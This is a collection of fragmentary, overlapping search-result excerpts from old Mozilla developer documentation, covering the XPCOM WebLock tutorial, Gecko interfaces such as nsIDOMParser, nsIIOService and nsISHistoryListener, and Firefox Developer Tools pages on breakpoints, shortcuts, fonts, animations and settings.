web browsing, XPCOM's main client is Gecko, an open source, standards compliant, embeddable
web browser, where it's easiest and most practical to illustrate XPCOM's functionality. A full description of the component in this tutorial can be found in the What We'll Be Working On section of the tutorial. Despite what old documentation says, XPCOM should not be used to make NPAPI plugins scriptable. St...
...'ll Be Working On section of the tutorial. Despite what old documentation says, XPCOM should not be used to make NPAPI plugins scriptable. Starting with Gecko 1.7.5 (Firefox 1.0) a special NPAPI extension for scriptability is supported, see Scripting plugins. Organization of the Tutorial The following list provides an overview of the steps that we will take to build an XPCOM component called
WebLock, which provides site blocking functionality to Gecko-based browsers. Each one of these steps has its own chapter, in which a number of topics associated with the step are discussed. Create the generic module code for the component. Use C++ macros, special string classes and smart pointers to optimize your code. Define the functionality for the component; create an XPIDL interface for tha...
...s. Each one of these steps has its own chapter, in which a number of topics associated with the step are discussed. Create the generic module code for the component. Use C++ macros, special string classes and smart pointers to optimize your code. Define the functionality for the component; create an XPIDL interface for that functionality; create the implementation code specific to the custom
WebLock component interface. Finish implementing the
WebLock component: nsIContentPolicy, file I/O, locking, etc. Creating the user interface for the
WebLock component. Packaging
WebLock for distribution and installation. Following Along with the Examples There are a couple of different ways to get XPCOM onto your machine so you can begin to create components. If you already have a Mozilla buil...
...vailable there. If you don't already have the Mozilla source, then an even easier way to get and use XPCOM is to download the Gecko SDK, which is a collection of libraries and tools that features the XPCOM component framework. Whether you compile your code in the Mozilla source tree or use the Gecko SDK, you can build your own components which leverage components that already exist in Gecko. The
WebLock component we describe in this tutorial is a practical (and, we hope, genuinely useful) addition to the browser. In order to build it, your Gecko SDK or Mozilla source tree needs to be version 1.2 or later (XPCOM interfaces were not fully frozen in prior releases). This book assumes you are using the SDK rather than compiling in a Mozilla source tree, though the difference between these two a...
Setting up the Gecko SDK
Downloading and Setting the SDK The Gecko SDK provides all of the tools, headers, and libraries that you need to build XPCOM Components. ...
... Downloading and Setting the SDK The Gecko SDK provides all of the tools, headers, and libraries that you need to build XPCOM Components. ...
... the following platform-specific locations (Need correction for last version (now 1.9.2.8). There is now separate archive with gecko-sdk, just xul-runner-sdk.): Linux: http://ftp.mozilla.org/pub/mozi....8.0.4.tar.bz2 Windows: http://ftp.mozilla.org/pub/mozi...vc-1.8.0.4.zip Mac: http://ftp.mozilla.org/pub/mozi...ac-1.8.0.4.zip Note that the version number for the archives above is 1.8. The
WebLock component was built with version 1.4a, which is no longer available. You may want to check for newer versions at Gecko versions prior to 1.7: http://ftp.mozilla.org/pub/mozi...illa/releases/ Gecko versions after 1.8: http://ftp.mozilla.org/pub/mozi...nner/releases/ Once you download the SDK, you can expand it into any convenient location. In this appendix, we set up the Windows Gecko SD...
...ct, these paths are the following: c:\gecko-sdk\embedstring\include c:\gecko-sdk\xpcom\include c:\gecko-sdk\nspr\include c:\gecko-sdk\string\include Under the C++ language category, disable exception handling. As described in the section Exceptions in XPCOM, exception handling isn't supported across interface boundaries, so setting this option may catch problems during development. The
WebLock component needs to link against the appropriate libraries to uses XPCOM Glue. To add these libraries, select the Link tab, then choose the Input category. In this panel, instead of linking to the include subdirectories of the nspr, embedstring, and xpcom directories, add the paths to the bin subdirectories. We also link against a number of libraries in the Object/library modules line: nsp...
Observer Notifications
to continue using it. profile-before-change-telemetry Called to shut down telemetry, again separated to allow everything before this event to continue using it. xpcom-will-shutdown Called just before xpcom-shutdown. Observer must not spin event loop. xpcom-shutdown Assortment of critical services stop operating. Many things will not be available here.
web-workers-shutdown Called inside xpcom-shutdown. This shuts down all
web workers. xpcom-shutdown-threads Shuts down the thread manager, causing all nsThreads to finish processing any events already queued and stop accepting new events. Browser These topics indicate interesting things that happen that the browser alerts you to. Topic Description browser:p...
...a chrome document window has been set up, but before any script code has been executed. This lets extensions inject API into chrome windows as needed (see nsIDOMGlobalPropertyInitializer for an alternative method of doing this, which uses significantly less memory). data is intentionally left blank. content-document-global-created nsIDOMWindow origin Sent immediately after a
web content document window has been set up, but before any script code has been executed. This lets extensions inject API into content windows as needed (see nsIDOMGlobalPropertyInitializer for an alternative method of doing this). data is a string form of the origin (for use in security checks), eg "http://developer.mozilla.org". document-element-inserted Document null Sent im...
...ow to get the tab that issued the request. http-on-opening-request Similar to http-on-modify-request, but called earlier (synchronously during the channel's asyncOpen() call), and some channel attributes (proxyInfo) may be missing. Use only if your observer must be called before asyncOpen returns. http-on-examine-response Called after a response has been received from the
web server. Headers are available on the channel. The response can be accessed and modified via nsITraceableChannel. http-on-examine-cached-response Called instead of http-on-examine-response when a response will be read completely from the cache. Headers are available on the channel. http-on-examine-merged-response Called instead of http-on-examine-response when a response wi...
... - Sent when the Inspector's Tree Panel is opened and initialized. inspector-unhighlighting - Sent every time the highlighter stops highlighting a node. remote-listening string Sent after when the remote agent is listening for incoming connections after RemoteAgent.listen() is called. The data is a string containing a fully qualified URL to the main target's
WebSocket endpoint. Telemetry Topic Data Description gather-telemetry - Note: This is obsolete and planned to be removed as it's not firing at the proper times. Sent by the telemetry service when it's time to start gathering telemetry data, since the telemetry ping is coming soon. Plugins Topic Data Description ...
nsIDOMParser
When you create a DOMParser from a privileged script, you can pass parameters to the constructor, more on that below. ...
...When you create a DOMParser from a privileged script, you can pass parameters to the constructor, more on that below. ...
...e, or an xpcshell test), use: var parser = Components.classes["@mozilla.org/xmlextras/domparser;1"] .createInstance(Components.interfaces.nsIDOMParser); // optionally, call parser.init(principal, documentURI, baseURI); Principals, document and base URI Note: This section covers changes introduced to DOMParser in Gecko 1.9. (This section is only relevant to Firefox extensions--not to
Web content.) To create a document, the parser needs to specify a principal (see Security check basics), a base URI (see document.baseURIObject), and a documentURI. These values are automatically determined as defined below, but if you work with DOMParser from privileged code, you can override the defaults by providing arguments to the DOMParser constructor or calling parser.init(). Usually you don't...
...ents will use a moz-nullprincipal:{<guid>} URI, which will show in the Error Console in parsing errors, in particular. Supposedly, if you want to create objects that some particular set of unprivileged code will be able to access (see discussion in bug 565480). Parsing a string Once you've created a DOMParser object, you can use its parseFromString method to parse XML or HTML as described in the
Web platform documentation. Examples Within the context of a window: var parser = new DOMParser(); var doc = parser.parseFromString(aStr, "application/xml"); Outside of a window (e.g., a JS XPCOM component, a JS module, or an xpcshell test): var parser = Components.classes["@mozilla.org/xmlextras/domparser;1"] .createInstance(Components.interfaces.nsIDOMParser); var doc = parser.parseFr...
nsIFaviconService
give you the icon image. This is not the URI of the icon as set on the page, but a URI that will give you the data out of the favicon service. For a normal page with a favicon we've stored, this will be an annotation URI which will then cause the corresponding favicon data to be loaded from this service. For pages where we don't have a favicon, this will be a chrome URI of the default icon for a
web page. getFaviconLinkForIcon() This method, for a given icon URI will return a URI that will result in the image. In most cases, this is an annotation URI. For chrome, this will do nothing and return the input URI. No validity checking is done. If you pass an icon URI that we've never seen, you'll get back a URI that references an invalid icon. The moz-anno protocol handler's special case for "fav...
...ll load the desired icon. This is not the URI of the icon as set on the page, but a URI that will give you the data out of the favicon service. For a normal page with a favicon we've stored, this will be an annotation URI which will then cause the corresponding favicon data to be loaded from this service. For pages where we don't have a favicon, this will be a chrome URI of the default icon for a
web page. For chrome, the output will be the same as the input. For chrome, the output will be the same as the input. No validity checking is done. If you pass an icon URI that we've never seen, you'll get back a URI that references an invalid icon. The moz-anno protocol handler's special case for "favicon" annotations will detect most invalid icons and it will resolve to the default icon, although w...
...ed in Gecko 22.0. You should use the new async API mozIAsyncFavicons.replaceFaviconData() instead. This method stores the data of a given favicon. You must specify the MIME type unless you're clearing the data. You can set the data even if you haven't called setFaviconUrlForPage() yet. It will be stored but will not be associated with any page. However, any favicons not associated with a visited
web page, bookmark, or "place:" URI will be expired when history cleanup is done. This might be done at any time on a timer, so you should not let the message loop run between calls or your icon may get deleted. It is best to set the favicon data, and then associate it with a page. This will make the notifications more efficient since the icon will already have data when the set favicon observer mess...
... Gecko 22.0. You should use the new async API mozIAsyncFavicons.setAndFetchFaviconForPage() instead. This method declares that a given page uses a favicon with the given URI. You needn't have any specified data at this point. An entry linking the favicon with the page will be create with no data. You can populate it later with SetFaviconData(). However, any favicons not associated with a visited
web page, a bookmark, or a "place:" URI will be expired when history cleanup is done * (typically at app shutdown, but also possibly if the user clears their * cache or history). This will send out history notifications if the new favicon has any data. This means that you should try to set data first if you have it, otherwise the page might not get a notification sent for it since data setting does n...
nsIIOService
from addons or internal browser features, use null here. aLoadingPrincipal The loadingPrincipal of the channel. The principal of the document where the result of this request will be used. This defaults to the principal of aLoadingNode, so when aLoadingNode is passed this can be left as null. However for loads where aLoadingNode is null this argument must be passed. For example for loads from a
WebWorker, pass the principal of that worker. For loads from an addon or from internal browser features, pass the system principal. This principal should almost always be the system principal if aLoadingNode is null. The only exception to this is for loads from
WebWorkers since they don't have any nodes to be passed as aLoadingNode. Please note, aLoadingPrincipal is *not* the principal of the resourc...
...aLoadingNode, in nsIPrincipal aLoadingPrincipal, in nsIPrincipal aTriggeringPrincipal, in unsigned long aSecurityFlags, in unsigned long aContentPolicyType ); Please note, if you provide both a loadingNode and a loadingPrincipal, then loadingPrincipal must be equal to loadingNode->NodePrincipal(). But less error prone is to just supply a loadingNode. Keep in mind that URIs coming from a
webpage should never use the systemPrincipal as the loadingPrincipal. Parameters aURI An nsIURI from which to make a channel. aLoadingNode The loadingDocument of the channel. The element or document where the result of this request will be used. This is the document/element that will get access to the result of this request. For example for an image load, it's the document in which the image ...
...oadingPrincipal The loadingPrincipal of the channel. The principal of the document where the result of this request will be used. This defaults to the principal of aLoadingNode, so when aLoadingNode is passed this can be left as null. However for loads where aLoadingNode is null this argument must be passed. For example for loads from a
WebWorker, pass the principal of that worker. For loads from an addon or from internal browser features, pass the system principal. This principal should almost always be the system principal if aLoadingNode is null. The only exception to this is for loads from
WebWorkers since they don't have any nodes to be passed as aLoadingNode. Please note, aLoadingPrincipal is *not* the principal of the resourc...
...from addons or internal browser features, use null here. aLoadingPrincipal The loadingPrincipal of the channel. The principal of the document where the result of this request will be used. This defaults to the principal of aLoadingNode, so when aLoadingNode is passed this can be left as null. However for loads where aLoadingNode is null this argument must be passed. For example for loads from a
WebWorker, pass the principal of that worker. For loads from an addon or from internal browser features, pass the system principal. This principal should almost always be the system principal if aLoadingNode is null. The only exception to this is for loads from
WebWorkers since they don't have any nodes to be passed as aLoadingNode. Please note, aLoadingPrincipal is *not* the principal of the resourc...
nsISHistoryListener
boolean OnHistoryGoForward( ...
...previous session history entry, for example due to an nsI
WebNavigation.goBack() call. boolean OnHistoryGoBack( in nsIURI aBackURI ); Parameters aBackURI The URI of the session history entry being navigated to. Return value true to allow the go back operation to proceed or false to cancel it. OnHistoryGoForward() Called when navigating to a next session history entry, for example due to an nsI
WebNavigation.goForward() call. boolean OnHistoryGoForward( in nsIURI aForwardURI ); Parameters aForwardURI The URI of the session history entry being navigated to. Return value true to allow the go forward operation to proceed or false to cancel it. OnHistoryGotoIndex() Called when navigating to a session history entry by index, for example, when nsI
WebNavigation.gotoIndex() is called. boolean ...
...ex in session history of the entry to be loaded. aGotoURI The URI of the session history entry to be loaded. Return value true to allow the operation to proceed or false to cancel it. OnHistoryNewEntry() Called when a new document is added to session history. New documents are added to session history by the docshell when new pages are loaded in a frame or content area; for example by calling nsI
WebNavigation.loadURI(). Note: You can't cancel this operation. void OnHistoryNewEntry( in nsIURI aNewURI ); Parameters aNewURI The URI of the document to be added to session history. OnHistoryPurge() Called when entries are removed from session history. Entries can be removed from session history for various reasons; for example to control the browser's memory usage, to prevent users from loadi...
... prior page loads, etc. To purge documents from session history call nsISHistory.PurgeHistory(). boolean OnHistoryPurge( in long aNumEntries ); Parameters aNumEntries The number of entries to be removed from session history. Return value true to allow the purge operation to proceed or false to cancel it. OnHistoryReload() Called when the current document is reloaded, for example due to an nsI
WebNavigation.reload() call. boolean OnHistoryReload( in nsIURI aReloadURI, in unsigned long aReloadFlags ); Parameters aReloadURI The URI of the document to be reloaded. aReloadFlags Flags that indicate how the document is to be refreshed. See the nsI
WebNavigation interface's load constants. Return value true to allow the reload operation to proceed or false to cancel it. ...
XPCOM Interface Reference
ces provided by the Mozilla platform. ...
...he Mozilla platform. ...
... Component; nsIPrefBranchExtensionManager (Toolkit)IAccessible2IAccessibleActionIAccessibleApplicationIAccessibleComponentIAccessibleEditableTextIAccessibleHyperlinkIAccessibleHypertextIAccessibleImageIAccessibleRelationIAccessibleTableIAccessibleTable2IAccessibleTableCellIAccessibleTextIAccessibleValueIDispatchIJSDebuggeramIInstallCallbackamIInstallTriggeramI
WebInstallInfoamI
WebInstallListeneramI
WebInstallPromptamI
WebInstallerimgICacheimgIContainerimgIContainerObserverimgIDecoderimgIDecoderObserverimgIEncoderimgILoaderimgIRequestinIDOMUtilsjsdIStackFramemozIAsyncFaviconsmozIAsyncHistorymozIColorAnalyzermozIJSSubScriptLoadermozIPersonalDictionarymozIPlaceInfomozIPlacesAutoCompletemozIRegistrymozIRepresentativeColorCallbackmozISpellCheckingEnginemozIStorageAggregateFunctionmozIStorageAsyncStat...
...nnsITreeViewnsIURInsIURIFixupnsIURIFixupInfonsIURLnsIURLFormatternsIURLParsernsIUTF8ConverterServicensIUTF8StringEnumeratornsIUUIDGeneratornsIUpdatensIUpdateCheckListenernsIUpdateCheckernsIUpdateItemnsIUpdateManagernsIUpdatePatchnsIUpdatePromptnsIUpdateTimerManagernsIUploadChannelnsIUploadChannel2nsIUrlListManagerCallbacknsIUserCertPickernsIUserInfonsIVariantnsIVersionComparatornsIWeakReferencensI
WebBrowsernsI
WebBrowserChromensI
WebBrowserChrome2nsI
WebBrowserChrome3nsI
WebBrowserChromeFocusnsI
WebBrowserFindnsI
WebBrowserFindInFramesnsI
WebBrowserPersistnsI
WebContentHandlerRegistrarnsI
WebNavigationnsI
WebNavigationInfonsI
WebPageDescriptornsI
WebProgressnsI
WebProgressListenernsI
WebProgressListener2nsI
WebSocketChannelnsI
WebSocketListenernsI
WebappsSupportnsIWifiAccessPointnsIWifiListenernsIWifiMonitorn...
XPCOM Interface Reference by grouping
XULTemplateBuilder nsIXULTemplateQueryProcessor nsIXULTemplateResult Bookmark LiveMark nsILivemarkService nsINavBookmarkObserver nsINavBookmarksService nsINavHistoryService Browser DOM nsI
WebBrowser nsI
WebBrowserPersist Cache nsICache nsICacheDeviceInfo nsICacheEntryDescriptor nsICacheEntryInfo nsICacheListener nsICacheMetaDataVisitor nsICacheService nsICacheSession nsICacheVisitor nsICachingChannel nsISelectionImageService Chrome ...
... Cache nsICache nsICacheDeviceInfo nsICacheEntryDescriptor nsICacheEntryInfo nsICacheListener nsICacheMetaDataVisitor nsICacheService nsICacheSession nsICacheVisitor nsICachingChannel nsISelectionImageService Chrome nsISearchEngine nsISearchSubmission nsI
WebBrowserChrome nsIWindowCreator nsIWindowMediator nsIWindowWatcher Clipboard nsIClipboard nsIClipboardCommands nsIClipboardDragDropHookList nsIClipboardDragDropHooks nsIClipboardHelper nsIClipboardOwner Core Action nsITransactionManager ...
...nager Geolocation nsIGeolocationProvider nsIGeolocationUpdate orientation nsIAcceleration nsIAccelerationListener nsIAccelerometer Misc nsISound nsIWifiMonitor Document nsI
WebNavigation Environment nsIEnvironment Event nsIEventListenerInfo nsIEventListenerService nsIEventTarget Exception nsIException Extention nsIExtensionManager nsIInstallLocation External nsIExternalProtocolService Frame ...
...r nsITimer nsITimerCallback UI Windows nsITaskbarPreview nsITaskbarPreviewButton nsITaskbarPreviewController nsITaskbarProgress nsITaskbarTabPreview nsITaskbarWindowPreview nsIWinTaskbar nsIAlertsService nsI
WebProgress nsI
WebProgressListener nsI
WebProgressListener2 Update nsIUpdate nsIUpdateChecker nsIUpdateCheckListener nsIUpdateItem nsIUpdateManager nsIUpdatePatch nsIUpdatePrompt nsIUpdateTimerManager nsIProgrammingLanguage Thunderbird Credentials nsIMsg...
Tutorial: Set a breakpoint - Firefox Developer Tools
ed, you can close the developer tools. Save the following text to an HTML file: <div onclick="report('the best div');">Click me!</div> <div onclick="report('another great div');">Or me!</div> <script> function report(what) { console.log('clicked: ' + what); } </script> Visit the HTML file in your browser, and open the Browser Content Toolbox by opening the Firefox menu, choosing "
Web Developer", and then "Browser Content Toolbox". If that item doesn't appear in the "
Web Developer" menu, make sure you checked both boxes to enable the Browser Content Toolbox as explained in Step 1. Our example code is long enough that the best way to run it is to use the Scratchpad panel, which is not enabled by default. To enable it, click on the options gear at the upper right of the Br...
...int of `report`. reportDO.script.setBreakpoint(0, { hit: function (frame) { console.log('hit breakpoint in ' + frame.callee.name); console.log('what = ' + frame.eval('what').return); } }); console.log('Finished setting breakpoint!'); In the Scratchpad, ensure that no text is selected, and press the "Run" button. Now, click on the text that says "Click me!" in the
web page. This runs the div element's onclick handler. When control reaches the start of the report function, Debugger calls the breakpoint handler's hit method, passing a Debugger.Frame instance. The hit method logs the breakpoint hit to the browser content toolbox's console. Then it evaluates the expression what in the given stack frame, and logs its result. The toolbox's console now looks like thi...
...e a single content process, so you may need to use a different element of the array as the debuggee. Press "Run" in the Scratchpad again. Now, clicking on "Click me!" causes the breakpoint hit to be logged twice--one for each Debugger instance. Multiple Debugger instances can observe the same debuggee. Re-running the code in the Scratchpad creates a fresh Debugger instance, adds the same
web page as its debuggee, and then sets a new breakpoint. When you click on the div element, both Debuggers' breakpoints are hit, and both handlers run. This shows how any number of Debugger-based tools can observe a single
web page simultaneously. In fact, you can use the Browser Content Toolbox's Debugger panel to set its own breakpoint in report, and it will trigger along with the first two. Ke...
...ct, you can use the Browser Content Toolbox's Debugger panel to set its own breakpoint in report, and it will trigger along with the first two. Keep in mind, however, that when multiple Debuggers share a debuggee, the order in which their handlers run is not specified. If more than one tool tries to influence the debuggee's behavior, their combined behavior could be unpredictable. Close the
web page and the Browser Content Toolbox. Since both the Scratchpad's global object and the debuggee window are now gone, the Debugger instances will be garbage collected, since they can no longer have any visible effect on Firefox's behavior. The Debugger API tries to interact with garbage collection as transparently as possible; for example, if both a Debugger.Object instance and its referent ar...
All keyboard shortcuts - Firefox Developer Tools
Shift + I Cmd + Opt + I Ctrl + Shift + I Bring Toolbox to foreground (if the Toolbox is in a separate window and not in foreground) Ctrl + Shift + I or F12 Cmd + Opt + I or F12 Ctrl + Shift + I or F12 Close Toolbox (if the Toolbox is in a separate window and in foreground) Ctrl + Shift + I or F12 Cmd + Opt + I or F12 Ctrl + Shift + I or F12 Open
Web Console 1 Ctrl + Shift + K Cmd + Opt + K Ctrl + Shift + K Toggle "Pick an element from the page" (opens the Toolbox and/or focus the Inspector tab) Ctrl + Shift + C Cmd + Opt + C Ctrl + Shift + C Open Style Editor Shift + F7 Shift + F7 * Shift + F7 Open Profiler Shift + F5 Shift + F5 * Shift + F5 Open Network Monitor 2 Ctr...
...+ E Ctrl + Shift + E Toggle Responsive Design Mode Ctrl + Shift + M Cmd + Opt + M Ctrl + Shift + M Open Browser Console Ctrl + Shift + J Cmd + Shift + J Ctrl + Shift + J Open Browser Toolbox Ctrl + Alt + Shift + I Cmd + Opt + Shift + I Ctrl + Alt + Shift + I Open Scratchpad Shift + F4 Shift + F4 * Shift + F4 Open
WebIDE Shift + F8 Shift + F8 * Shift + F8 Storage Inspector Shift + F9 Shift + F9 * Shift + F9 Open Debugger 3 Ctrl + Shift + Z Cmd + Opt + Z Ctrl + Shift + Z 1. Unlike the other toolbox-hosted tools, this shortcut does not also close the
Web Console. Instead, it focuses on the
Web Console's command line. To close the
Web Console, use the global too...
...e. See this guide to using these keys as standard function keys. To use a remapped key as a standard function key, hold the Function key down as well (so to open the Profiler, use Shift + Function + F5). Note: Before Firefox 66, the combination Ctrl + Shift + S on Windows and Linux or Cmd + Opt + S on macOS would open/close the Debugger. From Firefox 66 and later, this is no longer the case. ...
...pped key as a standard function key, hold the Function key down as well (so to open the Profiler, use Shift + Function + F5). Note: Before Firefox 66, the combination Ctrl + Shift + S on Windows and Linux or Cmd + Opt + S on macOS would open/close the Debugger. From Firefox 66 and later, this is no longer the case. ...
Edit fonts - Firefox Developer Tools
italic and normal values for the font-style CSS property. Note: As you change settings, Firefox applies inline styles to the element to make the changes instantly visible on the page. All fonts on page The remaining area, at the bottom of the Fonts tab, shows an expandable list of all of the fonts in use on the page. The list is useful because you can easily determine whether a font is a
web font or a font hosted on your system. Each font listed in this section shows you: The font-family identifier and full name of the font. The URL to the font file in the case of
web fonts not available on your system, or "System" in the case of fonts loaded from your computer (either default system fonts, or
web fonts that you've also got installed on your system). You can copy the URL to the ...
...The descriptor is expandable -- when opened it shows its full syntax as defined in the stylesheet. A text sample, to give you an idea of what the font looks like when rendered. The default text for the sample is "Abc" but the preview text can be edited by clicking on the input field at the top of the section and entering a new value. ...
...refox 62 added support for variable fonts and Firefox 63 features support for editing the properties of variable fonts in the Font Editor. What are variable fonts? Variable Fonts, or OpenType Font Variations, define a new font file format that allows the font designer to include multiple variations of a typeface inside a single font file. That means you no longer have to apply several different
web fonts to a single page to represent a complete typeface for which a variable font is available, provided it includes the desired values for the different characteristics you want to vary. Variable fonts make it easy to vary font characteristics in a much more granular fashion because their allowable ranges are defined by axes of variation (see Introducing the 'variation axis' for more informatio...
...nd some won't. The important takeaway here is that axis tags are case-sensitive. Warning: In order to use variable fonts, you need to make sure that your operating system is up to date. For example Linux OSes need the latest Linux Freetype version, and macOS prior to 10.13 does not support variable fonts. If your operating system is not up to date, you will not be able to use variable fonts in
web pages or the Firefox Developer Tools. Working with Variable fonts in the Font Editor If the inspected element uses a variable font, the Fonts tab shows the axes that have been implemented for that particular font, providing control to alter the value of each one. This is very useful for quickly finding out what axes are available in a particular font -- they can vary quite dramatically as font...
Work with animations - Firefox Developer Tools
it animations: the animation inspector editing @keyframes editing timing functions Animation inspector The Page Inspector's Animations view displays animations in the page synchronized along a timeline, with a draggable widget you can use to move to any point in the timeline and see the page at that point. It displays animations created using CSS transitions, CSS @keyframes rules, or the
Web Animations API. Starting in Firefox 48, it will show animations applied to the ::before and ::after pseudo-elements. To see how it works, we'll walk through an example. The box below contains a grayscale icon, representing Firefox Developer Edition. If you click the icon, it enlarges and changes to color, and the name of the browser appears. Click the icon again to reverse the effect. These a...
...Firefox 48, it will show animations applied to the ::before and ::after pseudo-elements. To see how it works, we'll walk through an example. The box below contains a grayscale icon, representing Firefox Developer Edition. If you click the icon, it enlarges and changes to color, and the name of the browser appears. Click the icon again to reverse the effect. These animations are made using the
Web Animations API. Let's use the animation inspector to see what's going on in this example. Right-click in the box and select "Inspect Element" Make sure the selected element is the <div class="channel"> Switch over to the "Animations" tab Play the animation Let's take a closer look at the contents of the animation inspector here: It shows a synchronized timeline for every animation a...
...t animation, ends at the end of the last animation, and is labeled with markers every 250 milliseconds (this depends on the time scale of the animations currently displayed). Animation bars Each animation or transition is shown as a horizontal bar laid across the timeline. The bar is: blue if a transition was used to animate a property orange if a @keyframes animation was used green if the
Web Animations API was used The bar contains a lightning bolt icon if the property was animated using the compositor thread (see more about the cost of animating different CSS properties). The bar is shaped to reflect the easing effect used for the animation. In the example above you can see that the first bar is concave, representing ease-in, and the second is convex, representing ease-out. If ...
...keyframes, there is one bar for each animation, labeled with its name. If the animation or transition had a delay, this is shown as a cross-hatched portion of the bar. delay and endDelay are both represented. If you hover over the bar, a tooltip appears, giving you more detailed information about the animation or transition, including: the type of animation: CSS transition, CSS animation, or
Web Animations API the duration of the animation the animation's start and end delay the animation's easing (or timing function). the animation's fill the Playback rate of the animation Information about the animated element To the left of each bar is a selector for the element that the animation applies to. If you hover over this selector, the element is highlighted in the page. Click the ...
Intensive JavaScript - Firefox Developer Tools
o single out the particular functions that need attention. In this article we'll take an example site whose long-running JavaScript causes responsiveness problems, and apply two different approaches to fixing them. ...
... this article we'll take an example site whose long-running JavaScript causes responsiveness problems, and apply two different approaches to fixing them. The first is to split long-running functions into pieces and use requestAnimationFrame to schedule each piece, and the second is to run the whole function in a separate thread using a
web worker. If you want to play along you can find the demo
website here. There's also a video version of this walkthrough: The demo
website looks like this: It has three controls: a radio button group to control how to run the JavaScript: as a single blocking operation in the main thread, as a series of smaller operations in the main thread using requestAnimationFrame(), or in another thread using a worker. a button to run the JavaScript, labeled "D...
...-contained functions. Even this very simple case produced more complex code. the split-up version takes much longer to run. In fact we can be quite precise about how long it takes: there are 50 iterations, and the browser is producing about 60 frames per second. So it will take almost a second to run all the computations, and that's visible in both the user experience and in the profile. Using
web workers In this version we'll try to fix the problem using a
web worker.
Web workers enable you to run JavaScript in a separate thread. The main thread and the worker thread can't call each other directly, but communicate using an asynchronous messaging API. The main thread code would look something like this: const iterations = 50; const multiplier = 1000000000; var worker = new Worker("js/c...
... starts the worker's processing the handleWorkerCompletion() function that runs when the worker calls "done". In between, the worker runs all the primality tests, and it doesn't seem to have any effect at all on the responsiveness of the main thread. This might seem unlikely, but because workers run in a separate thread, they can take advantage of multi-core processors, which a single-threaded
web site can't. The main limitation of
web workers is that DOM APIs are not available to code running in a worker. ...
Settings - Firefox Developer Tools
ved the checkbox to toggle the "Select element" button. The "Select element" button is now always shown. Themes This enables you to choose one of two themes. There's a light theme, which is the default: A dark theme: Common preferences Settings that apply to more than one tool. ...
...e of two themes. There's a light theme, which is the default: A dark theme: Common preferences Settings that apply to more than one tool. There's just one of these: Enable persistent logs A setting to control whether or not the
Web Console and Network Monitor clear their output when you navigate to a new page. If Common Preferences is not included in the Settings,
Web Console logs can be persisted by using the 'about:config' url in browser address bar, searching for: 'devtools.
webconsole.persistlog' then toggling this value to true Inspector Show browser styles A setting to control whether styles applied by the browser (user-agent styles) should be displayed in the Inspector's Rules view. Note that this setting is independent of the "Browser styles" ch...
...es". To change the threshold at which attributes are truncated, you can edit the about:config preference "devtools.markup.collapseAttributeLength". Default color unit A setting to control how colors are represented in the inspector: Hex HSL(A) RGB(A) color name As authored. Enable layout panel Enable the experimental layout panel. This setting only exists in Firefox Nightly.
Web Console Enable timestamps Controls whether the
Web Console displays timestamps. The
Web Console defaults to hiding timestamps. Enable new console frontend Switch to the experimental new console. This setting only exists in Firefox Nightly. Debugger Enable Source Maps Enable source map support in the debugger. Enable new debugger frontend Enable the new debugger. This setting only ex...
...vice workers are not affected by this option. Note that this option was called "Disable Cache" in Firefox versions previous to 49, but it was renamed to make it clearer that this affects the HTTP cache, and not Service Workers/the Cache API. Disable JavaScript Reload the current tab with JavaScript disabled. Enable Service Workers over HTTP Enable Service Worker registrations from insecure
websites. Enable browser chrome and add-on debugging toolboxes Enable you to use developer tools in the context of the browser itself, and not only
web content. Enable remote debugging Enable the developer tools to debug remote Firefox instances. Enable worker debugging Enable a panel within the debugger to debug workers. Note: This option got removed from the UI in Firefox 56, because this ve...
Toolbox - Firefox Developer Tools
See also keyboard shortcuts. ...
...l, to dock/float the window, and to close the window. Node picker On the far left there's a button to activate the node picker. This lets you select a page element for inspection. See "Selecting elements". Toolbox-hosted tools Then there is an array of labeled buttons which enables you to switch between the different tools hosted by the Toolbox. The array may include the following tools:
Web Console JavaScript Debugger Page Inspector Style Editor Profiler Network Monitor Note that not all the hosted tools are always listed here: only the tools actually available in this context are shown (for example, not all tools support remote debugging yet, so if the debugging target is not the Firefox instance that launched the window, not all the hosted tools will be shown). Extra tools...
...rame as the currently targeted document (this is only included by default from Firefox 41 onwards). ...
...cluded in the toolbar by default, but you can add them in the settings: Highlight painted area 3D view (note that this is not available in Firefox 40) Scratchpad Grab a color from the page Take a screenshot of the entire page: take a screenshot of the complete
web page and saves it in your Downloads directory Toggle rulers for the page Measure a portion of the page: measure a part of the
website by selecting areas within the page Toolbox controls Finally there's a row of buttons to: close the window toggle the window between attached to the bottom of the browser window, and attached to the side of the browser window toggle the window between standalone and attached to the browser window access developer tool settings Settings See the separate page on the Developer Tools S...
Validators - Firefox Developer Tools
This document lists different resources for developers to validate
web pages. Sidebar tabs are not available at this time. Tune-up wizard links back to devedge If you're writing new code that isn't validating immediately, see the available standards-compliant authoring and development tools. Firefox Extensions for Validation Quick Reference Sidebar Tabs Install DevEdge Toolbox Sidebars for quick access to
web development references. Checky Checky adds a submenu to your Netscape or Mozilla context menu that allows you to run whatever page you're on through one of (currently) 18 different online validaton and analysis services. ...
...evelopment tools. Firefox Extensions for Validation Quick Reference Sidebar Tabs Install DevEdge Toolbox Sidebars for quick access to
web development references. Checky Checky adds a submenu to your Netscape or Mozilla context menu that allows you to run whatever page you're on through one of (currently) 18 different online validaton and analysis services. Applications and Services DevEdge
Web Tune-Up Wizard This interface to W3C services guides beginning-to-intermediate
web authors through the process of updating content to support Netscape 7.x, Mozilla and other browsers that support W3C Standards. W3C HTML Validator The W3C HTML Validator will validate any
Web page according to the W3C HTML standards. It is very useful for detecting the use of proprietary HTML as well as invalid ...
...
web authors through the process of updating content to support Netscape 7.x, Mozilla and other browsers that support W3C Standards. W3C HTML Validator The W3C HTML Validator will validate any
Web page according to the W3C HTML standards. It is very useful for detecting the use of proprietary HTML as well as invalid HTML. W3C CSS Validator The W3C CSS Validator will validate the CSS within any
web page or external CSS files according to the W3C CSS standards. W3C RDF Validator The RDF Validator service will validate the RDF/XML contained on a given URI. Link Checker This tool will check links on a given
web page. HTML Tidy HTML Tidy is a tool that can be used to report errors in an HTML page and to format
web pages for better reading. (Some authoring software, such as HTML-Kit, build...
...e. HTML Tidy HTML Tidy is a tool that can be used to report errors in an HTML page and to format
web pages for better reading. (Some authoring software, such as HTML-Kit, builds in HTML Tidy which makes validation quick and easy.) HTML Validator Pro This is an automated HTML5 checker using the same validator as the W3C. Provide a starting URL and the tool will find and validate all pages in a
website. Accessibility Services Lynx Viewer Checks a
web page using Lynx visualization and allows validation of accessibility features Original Document Information Last Updated Date: August 16th, 2002 Copyright (C) 2001-2003 Netscape. ...
WAI-ARIA Roles - Accessibility
